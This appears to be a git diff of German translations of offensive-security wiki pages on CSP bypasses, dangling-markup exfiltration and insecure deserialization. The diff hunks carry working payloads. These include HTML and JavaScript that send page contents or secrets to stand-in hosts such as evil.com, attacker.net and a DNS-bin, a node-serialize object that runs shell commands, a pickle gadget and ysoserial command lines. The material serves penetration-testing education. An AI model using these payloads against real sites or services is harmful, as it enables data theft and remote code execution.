Ein Angreifer kann diesen Endpunkt ausnutzen, um einen **SOME-Angriff** gegen WordPress zu **generieren** und ihn in `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` einzubetten. Beachten Sie, dass dieses **Script** **geladen** wird, da es **von 'self'** **erlaubt** ist. Darüber hinaus, und weil WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **anfälligen** **Callback**-Endpunkt ausnutzen, der die CSP **umgeht**, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren...\
|
||||
Für weitere Informationen darüber, wie man diesen Angriff durchführt, siehe [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
|
||||
|
||||
Auf mehreren Seiten kann man lesen, dass **WebRTC die `connect-src`-Richtlinie** der CSP nicht überprüft.
|
||||
|
||||
Tatsächlich kann man _Informationen_ mit einer _DNS-Anfrage_ _leaken_. Schau dir diesen Code an:
|
||||
Tatsächlich kann man _leak_ Informationen mit einer _DNS-Anfrage_. Schau dir diesen Code an:
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
|
||||
@ -4,13 +4,13 @@ Eine Konfiguration wie:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self' 'unsafe-inline';
|
||||
```
|
||||
Verhindert die Nutzung von Funktionen, die Code ausführen, der als String übertragen wird. Zum Beispiel: `eval, setTimeout, setInterval` werden aufgrund der Einstellung `unsafe-eval` blockiert.
|
||||
Verbot der Nutzung von Funktionen, die Code ausführen, der als Zeichenfolge übertragen wird. Zum Beispiel: `eval, setTimeout, setInterval` werden aufgrund der Einstellung `unsafe-eval` blockiert.
|
||||
|
||||
Jeder Inhalt von externen Quellen wird ebenfalls blockiert, einschließlich Bilder, CSS, WebSockets und insbesondere JS.
|
||||
|
||||
### Über Text & Bilder
|
||||
|
||||
Es wird beobachtet, dass moderne Browser Bilder und Texte in HTML umwandeln, um deren Anzeige zu verbessern (z. B. Hintergründe festlegen, zentrieren usw.). Folglich wird, wenn eine Bild- oder Textdatei, wie `favicon.ico` oder `robots.txt`, über ein `iframe` geöffnet wird, sie als HTML gerendert. Bemerkenswert ist, dass diese Seiten oft keine CSP-Header haben und möglicherweise keine X-Frame-Options enthalten, was die Ausführung von beliebigem JavaScript von ihnen ermöglicht:
|
||||
Es wird beobachtet, dass moderne Browser Bilder und Texte in HTML umwandeln, um deren Anzeige zu verbessern (z. B. Hintergründe festlegen, zentrieren usw.). Folglich, wenn eine Bild- oder Textdatei, wie `favicon.ico` oder `robots.txt`, über ein `iframe` geöffnet wird, wird sie als HTML gerendert. Bemerkenswert ist, dass diese Seiten oft keine CSP-Header haben und möglicherweise keine X-Frame-Options enthalten, was die Ausführung von beliebigem JavaScript von ihnen ermöglicht:
|
||||
```javascript
|
||||
frame = document.createElement("iframe")
|
||||
frame.src = "/css/bootstrap.min.css"
|
||||
|
||||
@ -32,7 +32,7 @@ Sie könnten auch **`<table`** verwenden:
|
||||
```html
|
||||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||||
```
|
||||
Sie könnten auch ein `<base`-Tag einfügen. Alle Informationen werden gesendet, bis das Zitat geschlossen ist, aber es erfordert eine Benutzerinteraktion (der Benutzer muss auf einen Link klicken, da das Basistag die durch den Link angegebene Domain geändert hat):
|
||||
Sie könnten auch ein `<base`-Tag einfügen. Alle Informationen werden gesendet, bis das Zitat geschlossen ist, aber es erfordert einige Benutzerinteraktion (der Benutzer muss auf einen Link klicken, da das Basistag die durch den Link angegebene Domain geändert hat):
|
||||
```html
|
||||
<base target=' <--- Injected
|
||||
steal me'<b>test</b>
|
||||
@ -59,7 +59,7 @@ Ein Angreifer kann dies nutzen, um Informationen zu stehlen.
|
||||
|
||||
Finden Sie ein [**Beispiel für diesen Angriff in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
|
||||
|
||||
### Stehlen von Klartext-Geheimnissen 2
|
||||
### Stehlen von Klartextgeheimnissen 2
|
||||
|
||||
Mit der zuletzt erwähnten Technik zum Stehlen von Formularen (Einfügen eines neuen Formular-Headers) können Sie dann ein neues Eingabefeld einfügen:
|
||||
```html
|
||||
@ -88,21 +88,21 @@ Sie können den Pfad eines Formulars ändern und neue Werte einfügen, sodass ei
|
||||
```
|
||||
### Stehlen von Klartextgeheimnissen über noscript
|
||||
|
||||
`<noscript></noscript>` ist ein Tag, dessen Inhalt interpretiert wird, wenn der Browser JavaScript nicht unterstützt (Sie können JavaScript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript) aktivieren/deaktivieren).
|
||||
`<noscript></noscript>` ist ein Tag, dessen Inhalt interpretiert wird, wenn der Browser JavaScript nicht unterstützt (Sie können JavaScript in Chrome unter [chrome://settings/content/javascript](chrome://settings/content/javascript) aktivieren/deaktivieren).
|
||||
|
||||
Eine Möglichkeit, den Inhalt der Webseite vom Injektionspunkt bis zum Ende auf eine vom Angreifer kontrollierte Seite zu exfiltrieren, besteht darin, dies einzufügen:
|
||||
Eine Möglichkeit, den Inhalt der Webseite vom Punkt der Injektion bis zum Ende auf eine von einem Angreifer kontrollierte Seite zu exfiltrieren, besteht darin, dies einzufügen:
|
||||
```html
|
||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||
```
|
||||
### Umgehung von CSP mit Benutzerinteraktion
|
||||
|
||||
Aus dieser [portswiggers Forschung](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) können Sie lernen, dass selbst aus den **am stärksten CSP-restriktierten** Umgebungen Sie immer noch **Daten exfiltrieren** können, wenn Sie etwas **Benutzerinteraktion** haben. In diesem Fall werden wir das Payload verwenden:
|
||||
Aus dieser [portswiggers Forschung](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) können Sie lernen, dass selbst aus den **am stärksten CSP eingeschränkten** Umgebungen Sie immer noch **Daten exfiltrieren** können, wenn Sie etwas **Benutzerinteraktion** haben. In diesem Fall werden wir das Payload verwenden:
|
||||
```html
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
Beachten Sie, dass Sie die **Opfer** bitten werden, auf einen **Link** zu **klicken**, der sie zu einem von Ihnen kontrollierten **Payload** weiterleitet. Beachten Sie auch, dass das **`target`**-Attribut im **`base`**-Tag **HTML-Inhalt** bis zum nächsten einfachen Anführungszeichen enthalten wird.\
|
||||
Dies wird dazu führen, dass der **Wert** von **`window.name`**, wenn der Link angeklickt wird, all diesen **HTML-Inhalt** enthalten wird. Daher können Sie, da Sie die Seite **kontrollieren**, auf die das Opfer durch Klicken auf den Link zugreift, auf **`window.name`** zugreifen und diese Daten **exfiltrieren**:
|
||||
Beachten Sie, dass Sie die **Opfer** bitten werden, auf einen **Link** zu **klicken**, der sie zu einem von Ihnen kontrollierten **Payload** weiterleitet. Beachten Sie auch, dass das **`target`**-Attribut innerhalb des **`base`**-Tags **HTML-Inhalt** bis zum nächsten einfachen Anführungszeichen enthalten wird.\
|
||||
Dies wird dazu führen, dass der **Wert** von **`window.name`**, wenn der Link angeklickt wird, all diesen **HTML-Inhalt** enthalten wird. Daher können Sie, da Sie die Seite kontrollieren, auf die das Opfer durch Klicken auf den Link zugreift, auf **`window.name`** zugreifen und diese Daten **exfiltrieren**:
|
||||
```html
|
||||
<script>
|
||||
if(window.name) {
|
||||
@ -150,7 +150,7 @@ Oder Sie können sogar versuchen, etwas JavaScript auszuführen:
|
||||
```
|
||||
### Iframe-Missbrauch
|
||||
|
||||
Ein untergeordnetes Dokument hat die Fähigkeit, die `location`-Eigenschaft seines Elternteils zu sehen und zu ändern, selbst in Cross-Origin-Situationen. Dies ermöglicht das Einbetten eines Skripts in ein **iframe**, das den Client auf eine beliebige Seite umleiten kann:
|
||||
Ein untergeordnetes Dokument hat die Fähigkeit, die `location`-Eigenschaft seines Elternteils anzuzeigen und zu ändern, selbst in Cross-Origin-Situationen. Dies ermöglicht das Einbetten eines Skripts in ein **iframe**, das den Client auf eine beliebige Seite umleiten kann:
|
||||
```html
|
||||
<html>
|
||||
<head></head>
|
||||
@ -197,7 +197,7 @@ Nicht alle Möglichkeiten, um Konnektivität in HTML zu lecken, sind für Dangli
|
||||
|
||||
## SS-Lecks
|
||||
|
||||
Dies ist eine **Mischung** aus **dangling markup und XS-Leaks**. Einerseits ermöglicht die Schwachstelle, **HTML** (aber kein JS) auf einer Seite der **gleichen Herkunft** wie die, die wir angreifen werden, zu **injizieren**. Andererseits werden wir die Seite, auf der wir HTML injizieren können, nicht direkt **angreifen**, sondern **eine andere Seite**.
|
||||
Dies ist eine **Mischung** aus **dangling markup und XS-Leaks**. Einerseits ermöglicht die Schwachstelle, **HTML** (aber kein JS) in eine Seite der **gleichen Herkunft** derjenigen, die wir angreifen werden, **einzufügen**. Andererseits werden wir die Seite, in die wir HTML einfügen können, nicht direkt **angreifen**, sondern **eine andere Seite**.
|
||||
|
||||
{{#ref}}
|
||||
ss-leaks.md
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
**Serialization** wird als die Methode verstanden, ein Objekt in ein Format zu konvertieren, das gespeichert werden kann, mit der Absicht, das Objekt entweder zu speichern oder es als Teil eines Kommunikationsprozesses zu übertragen. Diese Technik wird häufig eingesetzt, um sicherzustellen, dass das Objekt zu einem späteren Zeitpunkt rekreiert werden kann, wobei seine Struktur und sein Zustand beibehalten werden.
|
||||
|
||||
**Deserialization** hingegen ist der Prozess, der der Serialization entgegenwirkt. Es beinhaltet das Entnehmen von Daten, die in einem bestimmten Format strukturiert sind, und das Rekonstruieren dieser Daten zurück in ein Objekt.
|
||||
**Deserialization** hingegen ist der Prozess, der der Serialization entgegenwirkt. Es beinhaltet das Entnehmen von Daten, die in einem bestimmten Format strukturiert wurden, und das Rekonstruieren dieser Daten zurück in ein Objekt.
|
||||
|
||||
Deserialization kann gefährlich sein, da sie potenziell **Angreifern ermöglicht, die serialisierten Daten zu manipulieren, um schädlichen Code auszuführen** oder unerwartetes Verhalten in der Anwendung während des Rekonstruktionsprozesses des Objekts zu verursachen.
|
||||
|
||||
@ -16,7 +16,7 @@ In PHP werden spezifische magische Methoden während der Serialization- und Dese
|
||||
|
||||
- `__sleep`: Wird aufgerufen, wenn ein Objekt serialisiert wird. Diese Methode sollte ein Array der Namen aller Eigenschaften des Objekts zurückgeben, die serialisiert werden sollen. Sie wird häufig verwendet, um ausstehende Daten zu speichern oder ähnliche Aufräumarbeiten durchzuführen.
|
||||
- `__wakeup`: Wird aufgerufen, wenn ein Objekt deserialisiert wird. Sie wird verwendet, um alle Datenbankverbindungen, die während der Serialization verloren gegangen sein könnten, wiederherzustellen und andere Reinitialisierungsaufgaben durchzuführen.
|
||||
- `__unserialize`: Diese Methode wird anstelle von `__wakeup` (sofern vorhanden) aufgerufen, wenn ein Objekt deserialisiert wird. Sie bietet mehr Kontrolle über den Deserialization-Prozess im Vergleich zu `__wakeup`.
|
||||
- `__unserialize`: Diese Methode wird anstelle von `__wakeup` (wenn sie existiert) aufgerufen, wenn ein Objekt deserialisiert wird. Sie bietet mehr Kontrolle über den Deserialization-Prozess im Vergleich zu `__wakeup`.
|
||||
- `__destruct`: Diese Methode wird aufgerufen, wenn ein Objekt kurz davor steht, zerstört zu werden, oder wenn das Skript endet. Sie wird typischerweise für Aufräumarbeiten verwendet, wie das Schließen von Datei-Handles oder Datenbankverbindungen.
|
||||
- `__toString`: Diese Methode ermöglicht es, ein Objekt als String zu behandeln. Sie kann verwendet werden, um eine Datei zu lesen oder andere Aufgaben basierend auf den Funktionsaufrufen innerhalb des Objekts durchzuführen, wodurch eine textuelle Darstellung des Objekts bereitgestellt wird.
|
||||
```php
|
||||
@ -92,7 +92,7 @@ Wenn Sie sich die Ergebnisse ansehen, können Sie sehen, dass die Funktionen **`
|
||||
|
||||
Sie können ein erklärtes **PHP-Beispiel hier** lesen: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), hier [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) oder hier [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload-Klassen
|
||||
### PHP Deserial + Autoload Klassen
|
||||
|
||||
Sie könnten die PHP-Autoload-Funktionalität missbrauchen, um beliebige PHP-Dateien und mehr zu laden:
|
||||
|
||||
@ -119,7 +119,7 @@ $ser=serialize($o);
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) kann Ihnen helfen, Payloads zu generieren, um PHP-Deserialisierungen auszunutzen.\
|
||||
Beachten Sie, dass Sie in mehreren Fällen **keinen Weg finden werden, um eine Deserialisierung im Quellcode** der Anwendung auszunutzen, aber Sie möglicherweise **den Code von externen PHP-Erweiterungen ausnutzen können.**\
|
||||
Wenn möglich, überprüfen Sie die `phpinfo()` des Servers und **suchen Sie im Internet** (und sogar in den **Gadgets** von **PHPGGC**) nach möglichen Gadgets, die Sie ausnutzen könnten.
|
||||
Wenn möglich, überprüfen Sie die `phpinfo()` des Servers und **suchen Sie im Internet** (sogar in den **Gadgets** von **PHPGGC**) nach möglichen Gadgets, die Sie ausnutzen könnten.
|
||||
|
||||
### phar:// Metadaten-Deserialisierung
|
||||
|
||||
@ -134,7 +134,7 @@ Für weitere Informationen lesen Sie den folgenden Beitrag:
|
||||
|
||||
### **Pickle**
|
||||
|
||||
Wenn das Objekt unpickled wird, wird die Funktion \_\_\_reduce\_\_\_ ausgeführt.\
|
||||
Wenn das Objekt unpickle wird, wird die Funktion \_\_\_reduce\_\_\_ ausgeführt.\
|
||||
Bei einer Ausnutzung könnte der Server einen Fehler zurückgeben.
|
||||
```python
|
||||
import pickle, os, base64
|
||||
@ -153,7 +153,7 @@ Für weitere Informationen zum Entkommen aus **pickle jails** siehe:
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
Die folgende Seite präsentiert die Technik, um **eine unsichere Deserialisierung in YAMLs** Python-Bibliotheken auszunutzen und endet mit einem Tool, das verwendet werden kann, um RCE-Deserialisierungs-Payloads für **Pickle, PyYAML, jsonpickle und ruamel.yaml** zu generieren:
|
||||
Die folgende Seite präsentiert die Technik, um **eine unsichere Deserialisierung in YAMLS** Python-Bibliotheken auszunutzen und endet mit einem Tool, das verwendet werden kann, um RCE-Deserialisierungs-Payloads für **Pickle, PyYAML, jsonpickle und ruamel.yaml** zu generieren:
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
@ -169,7 +169,7 @@ python-yaml-deserialization.md
|
||||
|
||||
### JS Magic Functions
|
||||
|
||||
JS **hat keine "magischen" Funktionen** wie PHP oder Python, die nur zum Erstellen eines Objekts ausgeführt werden. Aber es hat einige **Funktionen**, die **häufig verwendet werden, auch ohne sie direkt aufzurufen**, wie **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
JS **hat keine "magischen" Funktionen** wie PHP oder Python, die nur zum Erstellen eines Objekts ausgeführt werden. Aber es gibt einige **Funktionen**, die **häufig verwendet werden, auch ohne sie direkt aufzurufen**, wie **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Wenn Sie eine Deserialisierung ausnutzen, können Sie **diese Funktionen kompromittieren, um anderen Code auszuführen** (potenziell durch Ausnutzung von Prototype-Pollution), sodass Sie beliebigen Code ausführen könnten, wenn sie aufgerufen werden.
|
||||
|
||||
Eine weitere **"magische" Möglichkeit, eine Funktion aufzurufen**, ohne sie direkt aufzurufen, besteht darin, **ein Objekt zu kompromittieren, das von einer asynchronen Funktion** (Promise) zurückgegeben wird. Denn wenn Sie **das Rückgabeobjekt** in ein anderes **Promise** mit einer **Eigenschaft** namens **"then" vom Typ Funktion** umwandeln, wird es **ausgeführt**, nur weil es von einem anderen Promise zurückgegeben wird. _Folgen Sie_ [_**diesem Link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _für weitere Informationen._
|
||||
@ -223,9 +223,9 @@ Das **serialisierte Objekt** wird wie folgt aussehen:
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
Sie können im Beispiel sehen, dass, wenn eine Funktion serialisiert wird, das `_$$ND_FUNC$$_`-Flag an das serialisierte Objekt angehängt wird.
|
||||
Sie können im Beispiel sehen, dass beim Serialisieren einer Funktion das `_$$ND_FUNC$$_`-Flag an das serialisierte Objekt angehängt wird.
|
||||
|
||||
Innerhalb der Datei `node-serialize/lib/serialize.js` finden Sie dasselbe Flag und wie der Code es verwendet.
|
||||
Im Datei `node-serialize/lib/serialize.js` finden Sie dasselbe Flag und wie der Code es verwendet.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -313,7 +313,7 @@ In den folgenden Seiten finden Sie Informationen darüber, wie Sie diese Bibliot
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsprozesses ausgeführt**. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads erstellen, die diese Callbacks auslösen, was zu potenziell schädlichen Aktionen führen kann.
|
||||
In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsprozesses ausgeführt**. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads erstellen, die diese Callbacks auslösen und potenziell schädliche Aktionen ausführen.
|
||||
|
||||
### Fingerabdrücke
|
||||
|
||||
@ -322,7 +322,7 @@ In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsproze
|
||||
Um potenzielle Serialisierungsanfälligkeiten im Code zu identifizieren, suchen Sie nach:
|
||||
|
||||
- Klassen, die das `Serializable`-Interface implementieren.
|
||||
- Verwendung von `java.io.ObjectInputStream`, `readObject`, `readUnshared`-Funktionen.
|
||||
- Verwendung von `java.io.ObjectInputStream`, `readObject`, `readUnshare`-Funktionen.
|
||||
|
||||
Achten Sie besonders auf:
|
||||
|
||||
@ -337,12 +337,12 @@ Achten Sie besonders auf:
|
||||
|
||||
Für Black-Box-Tests suchen Sie nach spezifischen **Signaturen oder "Magic Bytes"**, die java-serialisierte Objekte kennzeichnen (stammend von `ObjectInputStream`):
|
||||
|
||||
- Hexadezimales Muster: `AC ED 00 05`.
|
||||
- Hexadezimalmuster: `AC ED 00 05`.
|
||||
- Base64-Muster: `rO0`.
|
||||
- HTTP-Antwortheader mit `Content-type`, der auf `application/x-java-serialized-object` gesetzt ist.
|
||||
- Hexadezimales Muster, das auf eine vorherige Kompression hinweist: `1F 8B 08 00`.
|
||||
- Hexadezimalmuster, das auf eine vorherige Kompression hinweist: `1F 8B 08 00`.
|
||||
- Base64-Muster, das auf eine vorherige Kompression hinweist: `H4sIA`.
|
||||
- Webdateien mit der Erweiterung `.faces` und dem Parameter `faces.ViewState`. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im [Beitrag über Java JSF ViewState Deserialisierung](java-jsf-viewstate-.faces-deserialization.md) beschrieben.
|
||||
- Webdateien mit der Erweiterung `.faces` und dem Parameter `faces.ViewState`. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im [Beitrag über Java JSF ViewState Deserialisierung](java-jsf-viewstate-.faces-deserialization.md) detailliert beschrieben.
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
@ -377,13 +377,13 @@ Du kannst auch [**Freddy**](https://github.com/nccgroup/freddy) verwenden, um **
|
||||
**Serialization Test**
|
||||
|
||||
Es geht nicht nur darum zu überprüfen, ob eine verwundbare Bibliothek vom Server verwendet wird. Manchmal könntest du in der Lage sein, **die Daten im serialisierten Objekt zu ändern und einige Prüfungen zu umgehen** (vielleicht um dir Admin-Rechte in einer Webanwendung zu gewähren).\
|
||||
Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben**. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu ändern und einige Prüfungen zu umgehen.
|
||||
Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben**. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu modifizieren und einige Prüfungen zu umgehen.
|
||||
|
||||
### **Exploit**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Das Hauptwerkzeug zum Ausnutzen von Java-Deserialisierungen ist [**ysoserial**](https://github.com/frohoff/ysoserial) ([**hier herunterladen**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Du könntest auch in Betracht ziehen, [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) zu verwenden, das dir ermöglicht, komplexe Befehle (zum Beispiel mit Pipes) zu verwenden.\
|
||||
Das Hauptwerkzeug zum Ausnutzen von Java-Deserialisierungen ist [**ysoserial**](https://github.com/frohoff/ysoserial) ([**hier herunterladen**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Du könntest auch in Betracht ziehen, [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) zu verwenden, das es dir ermöglicht, komplexe Befehle (zum Beispiel mit Pipes) zu verwenden.\
|
||||
Beachte, dass dieses Tool **fokussiert** ist auf das Ausnutzen von **`ObjectInputStream`**.\
|
||||
Ich würde **beginnen, die "URLDNS"**-Payload **vor einer RCE**-Payload zu verwenden, um zu testen, ob die Injektion möglich ist. Beachte jedoch, dass die "URLDNS"-Payload möglicherweise nicht funktioniert, aber eine andere RCE-Payload möglicherweise schon.
|
||||
```bash
|
||||
@ -430,7 +430,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Beim Erstellen eines Payloads für **java.lang.Runtime.exec()** können Sie **keine Sonderzeichen** wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()" um Befehle auszuführen oder sogar **Argumente** an einen Befehl zu übergeben, die durch **Leerzeichen** getrennt sind (Sie können `echo -n "hello world"` tun, aber Sie können nicht `python2 -c 'print "Hello world"'` tun). Um den Payload korrekt zu codieren, könnten Sie [diese Webseite](http://www.jackson-t.ca/runtime-exec-payloads.html) verwenden.
|
||||
Beim Erstellen eines Payloads für **java.lang.Runtime.exec()** können Sie **keine Sonderzeichen** wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()", um Befehle auszuführen oder sogar **Argumente** an einen Befehl zu übergeben, die durch **Leerzeichen** getrennt sind (Sie können `echo -n "hello world"` tun, aber Sie können nicht `python2 -c 'print "Hello world"'` tun). Um den Payload korrekt zu codieren, könnten Sie [diese Webseite](http://www.jackson-t.ca/runtime-exec-payloads.html) verwenden.
|
||||
|
||||
Fühlen Sie sich frei, das nächste Skript zu verwenden, um **alle möglichen Codeausführungs**-Payloads für Windows und Linux zu erstellen und diese dann auf der verwundbaren Webseite zu testen:
|
||||
```python
|
||||
@ -546,11 +546,11 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Verwendung eines Java-Agents zur Sicherheitsverbesserung** bietet eine Fallback-Lösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für **das Blacklisting schädlicher Klassen**, unter Verwendung eines JVM-Parameters:
|
||||
**Verwendung eines Java-Agents zur Sicherheitsverbesserung** bietet eine Rückfalllösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für **das Blacklisting schädlicher Klassen**, unter Verwendung eines JVM-Parameters:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
Es bietet eine Möglichkeit, die Deserialisierung dynamisch zu sichern, ideal für Umgebungen, in denen sofortige Codeänderungen unpraktisch sind.
|
||||
Es bietet eine Möglichkeit, die Deserialisierung dynamisch abzusichern, ideal für Umgebungen, in denen sofortige Codeänderungen unpraktisch sind.
|
||||
|
||||
Überprüfen Sie ein Beispiel in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
@ -615,7 +615,7 @@ Das bedeutet, dass bei dieser Ausnutzung alle **Clients, die diese Nachricht ver
|
||||
|
||||
Sie sollten sich daran erinnern, dass selbst wenn ein Dienst anfällig ist (weil er Benutzereingaben unsicher deserialisiert), Sie dennoch gültige Gadgets finden müssen, um die Schwachstelle auszunutzen.
|
||||
|
||||
Das Tool [JMET](https://github.com/matthiaskaiser/jmet) wurde erstellt, um **diese Dienste zu verbinden und anzugreifen, indem mehrere bösartige Objekte gesendet werden, die mit bekannten Gadgets serialisiert sind**. Diese Exploits funktionieren, wenn der Dienst weiterhin anfällig ist und wenn eines der verwendeten Gadgets in der anfälligen Anwendung enthalten ist.
|
||||
Das Tool [JMET](https://github.com/matthiaskaiser/jmet) wurde entwickelt, um **diese Dienste zu verbinden und anzugreifen, indem mehrere bösartige Objekte gesendet werden, die mit bekannten Gadgets serialisiert sind**. Diese Exploits funktionieren, wenn der Dienst weiterhin anfällig ist und wenn eines der verwendeten Gadgets in der anfälligen Anwendung enthalten ist.
|
||||
|
||||
### Referenzen
|
||||
|
||||
@ -635,11 +635,11 @@ Der Quellcode sollte auf Vorkommen von:
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
Untersucht werden. Der Fokus sollte auf Serialisierern liegen, die es ermöglichen, den Typ durch eine vom Benutzer kontrollierte Variable zu bestimmen.
|
||||
Untersucht werden. Der Fokus sollte auf Serialisierern liegen, die es ermöglichen, den Typ durch eine Variable unter Benutzerkontrolle zu bestimmen.
|
||||
|
||||
#### BlackBox
|
||||
|
||||
Die Suche sollte auf die Base64-codierte Zeichenfolge **AAEAAAD/////** oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte, wodurch die Kontrolle über den zu deserialisierenden Typ gewährt wird. Dies könnte, ist aber nicht beschränkt auf, **JSON** oder **XML**-Strukturen mit `TypeObject` oder `$type`.
|
||||
Die Suche sollte auf die Base64-codierte Zeichenfolge **AAEAAAD/////** oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte, wodurch die Kontrolle über den zu deserialisierenden Typ gewährt wird. Dies könnte JSON- oder XML-Strukturen mit `TypeObject` oder `$type` umfassen, ist aber nicht darauf beschränkt.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
@ -649,14 +649,14 @@ Wenn Sie lernen möchten, **wie ysoserial.net seinen Exploit erstellt**, können
|
||||
|
||||
Die Hauptoptionen von **ysoserial.net** sind: **`--gadget`**, **`--formatter`**, **`--output`** und **`--plugin`.**
|
||||
|
||||
- **`--gadget`** wird verwendet, um das Gadget anzugeben, das ausgenutzt werden soll (geben Sie die Klasse/Funktion an, die während der Deserialisierung ausgenutzt wird, um Befehle auszuführen).
|
||||
- **`--formatter`**, wird verwendet, um die Methode zur Serialisierung des Exploits anzugeben (Sie müssen wissen, welche Bibliothek im Backend verwendet wird, um die Payload zu deserialisieren, und dieselbe verwenden, um sie zu serialisieren).
|
||||
- **`--output`** wird verwendet, um anzugeben, ob Sie den Exploit in **raw** oder **base64** codiert haben möchten. _Beachten Sie, dass **ysoserial.net** die Payload mit **UTF-16LE** (Standardkodierung unter Windows) **codiert**, sodass, wenn Sie die Raw-Version erhalten und sie einfach von einer Linux-Konsole aus codieren, Sie möglicherweise einige **Kodierungs-Kompatibilitätsprobleme** haben, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Payload sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktioniert)._
|
||||
- **`--gadget`** wird verwendet, um das Gadget anzugeben, das ausgenutzt werden soll (geben Sie die Klasse/Funktion an, die während der Deserialisierung missbraucht wird, um Befehle auszuführen).
|
||||
- **`--formatter`**, wird verwendet, um die Methode zur Serialisierung des Exploits anzugeben (Sie müssen wissen, welche Bibliothek im Backend verwendet wird, um die Nutzlast zu deserialisieren, und dieselbe verwenden, um sie zu serialisieren).
|
||||
- **`--output`** wird verwendet, um anzugeben, ob Sie den Exploit in **raw** oder **base64** codiert haben möchten. _Beachten Sie, dass **ysoserial.net** die Nutzlast mit **UTF-16LE** (Standardkodierung unter Windows) codiert, sodass Sie, wenn Sie die raw-Version erhalten und sie einfach von einer Linux-Konsole aus codieren, möglicherweise einige **Kodierungs-Kompatibilitätsprobleme** haben, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Nutzlast sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktioniert)._
|
||||
